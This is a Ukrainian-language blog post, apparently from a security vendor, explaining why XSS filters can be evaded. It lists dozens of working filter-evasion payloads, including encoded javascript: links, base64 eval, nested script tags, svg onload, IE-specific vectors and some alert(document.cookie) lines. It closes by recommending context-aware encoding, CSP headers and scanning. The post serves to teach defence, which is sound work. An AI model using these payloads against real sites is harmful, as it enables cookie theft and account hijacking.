Чому фільтрація не зупиняє cross-site scripting

Техніки обходу XSS фільтрів дозволяють зловмисникам проводити успішні атаки. Цей пост перераховує деякі з найпоширеніших методів обходу фільтрів, показує, чому фільтрації не можна довіряти для зупинки XSS атак, і обговорює рекомендовані способи запобігання cross-site scripting.

Обхід XSS фільтрів

Обхід XSS фільтрів охоплює сотні методів, які зловмисники можуть використовувати для обходу фільтрів cross-site scripting (XSS). Успішна атака вимагає як наявності XSS вразливості, так і способів впровадження шкідливого JavaScript у код вебсторінки, який виконується на стороні клієнта для експлуатації цієї вразливості. Ідея XSS фільтрації полягає у запобіганні атакам шляхом пошуку і блокування (або видалення) будь-якого коду, що виглядає як спроба XSS атаки. Проблема в тому, що існує безліч способів обходу таких фільтрів, тому фільтрація сама по собі ніколи не може повністю запобігти XSS. Перш ніж перейти до деяких із відомих методів обходу фільтрів, почнемо з короткого огляду концепції та історії XSS фільтрації.

Що таке XSS фільтрація?

На рівні додатка XSS фільтрація означає перевірку вхідних даних користувача, яка виконується спеціально для виявлення і запобігання спробам ін’єкції скриптів. Фільтрація може проводитися локально у браузері, під час обробки на стороні сервера або за допомогою брандмауер вебзастосунків (WAF). Протягом багатьох років використовувалася переважно фільтрація на стороні сервера, але з часом виробники браузерів почали впроваджувати власні фільтри, що називаються XSS аудитори, для запобігання принаймні деяким спробам cross-site scripting від досягнення користувача.

Ідея полягала в тому, що фільтр сканує код, що надходить до браузера, і шукає типові ознаки XSS навантажень, такі як підозрілі <script> теги в несподіваних місцях. Загальні підходи до фільтрації включали складні регулярні вирази (regex) та чорні списки кодових рядків. Якщо потенційно небезпечний код був знайдений, аудитор міг заблокувати або всю сторінку, або лише підозрілий фрагмент коду. Обидві реакції мали свої недоліки та могли навіть відкрити нові вразливості та вектори атак, через що вбудовані фільтри браузерів скоро зникли.

Усі підходи до фільтрації мають свої обмеження. Фільтрація XSS за допомогою браузера ефективна лише проти відображених XSS атак, де шкідливий код, впроваджений зловмисником, безпосередньо відображається у браузері клієнта. Клієнтські фільтри та аудитори марні проти XSS, де код, що атакує, не обробляється браузером, включаючи DOM-based XSS та збережений XSS. Фільтри на стороні сервера та WAF можуть допомогти проти відображеного та збереженого XSS, але безсилі проти DOM-based атак, оскільки вони відбуваються повністю у браузері, і код експлуатації ніколи не надходить на сервер. Крім того, спроба виконати XSS фільтрацію в самому вебдодатку є надзвичайно складною, може мати непередбачені наслідки та вимагає постійного обслуговування для того, щоб йти в ногу з новими загрозами.

Як зловмисники обходять фільтри cross-site scripting

У кращому випадку, XSS фільтрація дає додатковий рівень складності для роботи зловмисників, які створюють XSS атаки, оскільки будь-який впроваджений скрипт-код спочатку має пройти фільтри. Хоча XSS атаки зазвичай націлені на вразливості додатків та помилки налаштувань, техніки обходу XSS використовують прогалини у фільтрації, що виконуються браузером, сервером або WAF.

Існує безліч підходів до обходу, які можуть комбінуватися для створення незліченної кількості обходів. Загальний знаменник полягає в тому, що вони зловживають специфічними для продукту реалізаціями специфікацій вебтехнологій. Велика частина будь-якого кодового базису браузера присвячена обробці неправильно сформованих HTML, CSS та JavaScript для спроби виправлення коду перед його представленням користувачеві. Техніки обходу XSS фільтрів використовують цей складний клубок мов, специфікацій, винятків та специфічних для браузерів особливостей, щоб пропустити шкідливий код через фільтри.

Приклади обходу XSS фільтрів

Спроби обходу фільтрів можуть націлюватися на будь-який аспект розбору та обробки веб коду, тому немає чітких категорій і список завжди відкритий. Найочевидніші ін’єкції тегів script зазвичай відхиляються одразу, але існує багато інших методів, і можна також використовувати інші HTML теги як вектори ін’єкцій. Особливо часто використовуються обробники подій для завантаження скриптів, оскільки їх можна прив’язати до законних дій користувача і важко просто видалити без порушення функціональності. Часто використовуються обробники, такі як onerror, onclick та onfocus, але більшість підтримуваних обробників подій можуть бути використані як вектори XSS.

Щоб детальніше зрозуміти про величезну кількість способів обходу XSS фільтра, список нижче є лише невеликою часткою інструментів, доступних зловмисникам.

Трюки з кодуванням символів

Щоб обійти фільтри, які базуються на пошуку в тексті підозрілих рядків, зловмисники мають безліч способів кодування одного або багатьох символів. Кодування також можуть бути вкладеними, тому можна кодувати один і той самий рядок багато разів, потенційно використовуючи різні методи. Вибір кодування також залежить від контексту, оскільки браузери кодують і декодують символи по-різному у різних місцях (наприклад, URL кодування підтримується тільки для значень URL у href тегах). Наступні приклади показують лише кілька можливостей без використання трюків з Unicode.
Щоб обійти фільтри, які безпосередньо шукають рядок типу javascript: деякі або всі символи можуть бути записані як HTML сутності з використанням ASCII кодів:

<a href="&#106;avascript:alert('Successful XSS')">Click this link!</a>

Щоб обійти фільтри, які шукають HTML сутності з використанням шаблону &# з подальшим числом, можна використовувати ASCII коди, але в шістнадцятковому кодуванні:

<a href="&#x6A;avascript:alert(document.cookie)">Click this link!</a>

Base64 кодування може використовуватися для маскування коду атаки. У цьому прикладі також виводиться попередження з повідомленням “Successful XSS”:

<body onload="eval(atob('YWxlcnQoJ1N1Y2Nlc3NmdWwgWFNTJyk='))">

Усі закодовані сутності символів можуть містити від 1 до 7 цифрових символів. На додаток, будь-які початкові нульові символи ігноруються. Це дає кожній сутності в кожному кодуванні кілька додаткових нульових версій (XSS filter evasion cheat sheet від OWASP перераховує не менше ніж 70 дійсних способів кодування лише символу <). Важливо зауважити, що крапки з комами не обов’язково потрібні в кінці сутностей:

<a href="&#x6A;avascript&#0000058&#0000097lert('Successful XSS')">Click this link!</a>

Кодові символи можуть використовуватися для приховування XSS навантажень:

<iframe src=# onmouseover=alert(String.fromCharCode(88,83,83))></iframe>

Вбудовування пробілів

Браузери дуже поблажливі щодо пробілів у HTML і JavaScript коді, тому час від часу зловмисники вбудовують символи, що не відображаються. Це ще один спосіб заплутати фільтри. Наразі більшість браузерів вже не можна зламати подібними випадками із пробілами, хоча такі схеми все ще можуть працювати в деяких контекстах.

Символи табуляції ігноруються при розборі коду, тому їх можна використовувати для розбиття ключових слів, як у цьому тезі img (цей тег не працюватиме в сучасному браузері):

<img src="java script:al ert('Successful XSS')">.

Вкладки також можна закодувати:

<img src="java&#x09;script:al&#x09;ert('Successful XSS')">

Так само як і табуляції, нові рядки та повернення рядка каретки також ігноруються і можуть бути додатково закодовані:

<a href="jav&#x0A;ascript:&#x0A;ale&#x0D;rt('Successful XSS')">Visit google.com</a>

Деякі фільтри можуть шукати “javascript: або ‘javascript: і не очікувати пробілів після лапок. Насправді будь-яка кількість пробілів і метасимволів від 1 до 32 (десяткових) буде дійсною:

<a href="  &#x8; &#23;   javascript:alert('Successful XSS')">Click this link!</a>

Маніпуляції з тегами

Якщо фільтр просто сканує код один раз і видаляє певні теги, такі як <script>, вкладення їх всередину інших тегів залишить дійсний код після їх видалення:

<scr<script>ipt>document.write("Successful XSS")</scr<script>ipt>

Пробіли між елементами часто можна опускати. Крім того, коса риска є допустимим роздільником між назвою тегу та назвою елементу, що може бути корисним для обходу обмежень на пробіли у вхідних даних. Важливо звернути увагу на відсутність пробілів у всьому рядку:

<img/src="funny.jpg"onload=javascript:eval(alert('Successful&#32XSS'))>

Інший приклад без будь-яких пробілів, цього разу з використанням тегу svg:

<svg/onload=alert('XSS')>

Якщо дужки або одинарні лапки заборонені, їх можна замінити на зворотні лапки та це все ще буде дійсним JavaScript:

<svg/onload=alert`xss`>

Спроби обходу також можуть використовувати зусилля браузера щодо інтерпретації та заповнення неправильних тегів. Ось приклад, у якому пропущено атрибут href та лапки (більшість інших обробників подій також можна використовувати):

<a onmouseover=alert(document.cookie)>Go to google.com</a>

І екстремальний приклад повністю зруйнованого img тегу, який завантажує скрипт після виправлення браузером:

<img """><script src=xssattempt.js></script>">

Додаткові розваги з Internet Explorer

До появи Chrome, Firefox та Edge майже виключно використовувався Internet Explorer. Через численні нестандартні реалізації та особливості, пов’язані з іншими технологіями Microsoft, IE надавав унікальні вектори обходу фільтрів. І перш ніж відкидати його як застарілий і маргінальний браузер, потрібно пам’ятати, що деякі застарілі корпоративні додатки можуть продовжувати покладатися на особливості, характерні для IE.

Більшість перевірок XSS шукають JavaScript, але Internet Explorer до версії IE10 також приймав VBScript:

<a href='vbscript:MsgBox("Successful XSS")'>Click here</a>

Ще одна унікальна особливість IE — динамічні властивості, які дозволяють використовувати вирази сценаріїв як значення CSS:

body { color: expression(alert('Successful XSS')); }

Рідкісний і застарілий атрибут dynsrc може надати інший вектор:

<img dynsrc="javascript:alert('Successful XSS')">

Рекомендується використовувати зворотні лапки, коли потрібні й подвійні, й одинарні лапки:

<img src=`javascript:alert("The name is 'XSS'")`>

У старих версіях IE також можна було включити скрипт, замаскований під зовнішню таблицю стилів:

<link rel="stylesheet" href="http://example.com/xss.css">

Застарілі методи

Специфікації та реалізації вебтехнологій змінюються настільки часто, що методи обходу фільтрів XSS мають короткий термін служби. Нижче наведені певні випадки, що сьогодні не повинні працювати, але дають уявлення про безліч крайніх випадків, які можуть виникнути при впровадженні нових специфікацій, а також підтримці зворотної сумісності.

Ін’єкція у фонове зображення:

<body background="javascript:alert('Successful XSS')">

Те саме, але з використанням стилю:

<div style="background-image:url(javascript:alert('Successful XSS'))">

Зображення без жодного тегу img та зі скриптом замість файлу зображення:

<input type="image" src="javascript:alert('Successful XSS')">

Скрипт, ін’єктований як цільовий URL для мета тегу переадресації. У деяких старіших браузерах це відобразить сповіщення, що оцінює Base64 – кодований JavaScript-код:

<meta http-equiv="refresh" content="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">

І останній випадок — колись можна було приховати XSS навантаження, використовуючи кодування UTF-7:

<head><meta http-equiv="content-type" content="text/html; charset=utf-7"></head>
+adw-script+ad4-alert('xss');+adw-/script+ad4-

Як захистити додатки від cross-site scripting іншими від фільтрування методами?

Хоча вебаплікаційні брандмауери можуть забезпечити деяке фільтрування XSS, варто пам’ятати, що це лише один із багатьох рівнів захисту. З сотнями способів обходу фільтрів і появою нових векторів щодня, фільтрування саме по собі не може запобігти XSS. У поєднанні з можливістю зламу дійсних скриптів у складних сучасних додатках це є однією з причин, чому виробники браузерів відмовляються від фільтрації.

Написання захищеного коду, який не є вразливим до XSS-атак, може мати набагато більший вплив на безпеку додатків і користувачів, ніж будь-які фільтри. На рівні додатку це означає обробку всіх вхідних даних, що контролюються користувачем. Такі дані мають позначатися як ненадійні за замовчуванням і правильне застосування контекстно-чутливого екранування та кодування. На рівні протоколу HTTP головною зброєю проти cross-site scripting є належним чином налаштовані заголовки Content Security Policy (CSP) та інші заголовки безпеки HTTP.

З дотриманням цих передових практик також необхідно регулярно тестувати кожен сайт, додаток і API, щоб переконатися, що новий код, оновлення та зміни налаштувань не призводять до експлуатаційних вразливостей XSS. Використання вебсканера вразливостей корпоративного рівня, який перевіряє наявність вразливостей і неправильних налаштувань безпеки як частину безперервного процесу, є важливою частиною гігієни безпеки додатків.

Підписатися на новини